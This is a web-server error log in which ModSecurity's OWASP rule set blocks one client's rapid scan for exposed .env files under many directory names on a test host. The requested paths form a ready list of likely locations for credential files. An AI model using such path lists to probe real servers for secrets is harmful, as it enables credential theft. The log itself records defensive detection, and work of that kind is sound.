[Thu Feb 26 01:03:19.986865 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIMgAAAAQ&quot;]
[Thu Feb 26 01:03:19.987027 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIMgAAAAQ&quot;]
[Thu Feb 26 01:03:20.009946 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjlzwAAAAI&quot;]
[Thu Feb 26 01:03:20.010204 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjlzwAAAAI&quot;]
[Thu Feb 26 01:03:20.010388 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjlzwAAAAI&quot;]
[Thu Feb 26 01:03:20.021363 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIMwAAAAQ&quot;]
[Thu Feb 26 01:03:20.021582 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIMwAAAAQ&quot;]
[Thu Feb 26 01:03:20.021753 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIMwAAAAQ&quot;]
[Thu Feb 26 01:03:20.055434 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system-config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl0AAAAAI&quot;]
[Thu Feb 26 01:03:20.055730 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl0AAAAAI&quot;]
[Thu Feb 26 01:03:20.055927 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl0AAAAAI&quot;]
[Thu Feb 26 01:03:20.057099 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlINAAAAAQ&quot;]
[Thu Feb 26 01:03:20.057314 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlINAAAAAQ&quot;]
[Thu Feb 26 01:03:20.057505 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlINAAAAAQ&quot;]
[Thu Feb 26 01:03:20.079911 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlINQAAAAQ&quot;]
[Thu Feb 26 01:03:20.080141 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlINQAAAAQ&quot;]
[Thu Feb 26 01:03:20.080295 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlINQAAAAQ&quot;]
[Thu Feb 26 01:03:20.114468 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl0QAAAAI&quot;]
[Thu Feb 26 01:03:20.114705 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl0QAAAAI&quot;]
[Thu Feb 26 01:03:20.114897 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl0QAAAAI&quot;]
[Thu Feb 26 01:03:20.170034 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /strapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlINwAAAAQ&quot;]
[Thu Feb 26 01:03:20.170264 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlINwAAAAQ&quot;]
[Thu Feb 26 01:03:20.170434 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlINwAAAAQ&quot;]
[Thu Feb 26 01:03:20.204418 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /style/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIOAAAAAQ&quot;]
[Thu Feb 26 01:03:20.204654 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIOAAAAAQ&quot;]
[Thu Feb 26 01:03:20.204827 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIOAAAAAQ&quot;]
[Thu Feb 26 01:03:20.231122 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /target/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl1AAAAAI&quot;]
[Thu Feb 26 01:03:20.231378 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl1AAAAAI&quot;]
[Thu Feb 26 01:03:20.231548 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl1AAAAAI&quot;]
[Thu Feb 26 01:03:20.235477 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /styles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIOQAAAAQ&quot;]
[Thu Feb 26 01:03:20.235716 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIOQAAAAQ&quot;]
[Thu Feb 26 01:03:20.235886 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIOQAAAAQ&quot;]
[Thu Feb 26 01:03:20.279247 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stylesheets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlIOgAAAAQ&quot;]
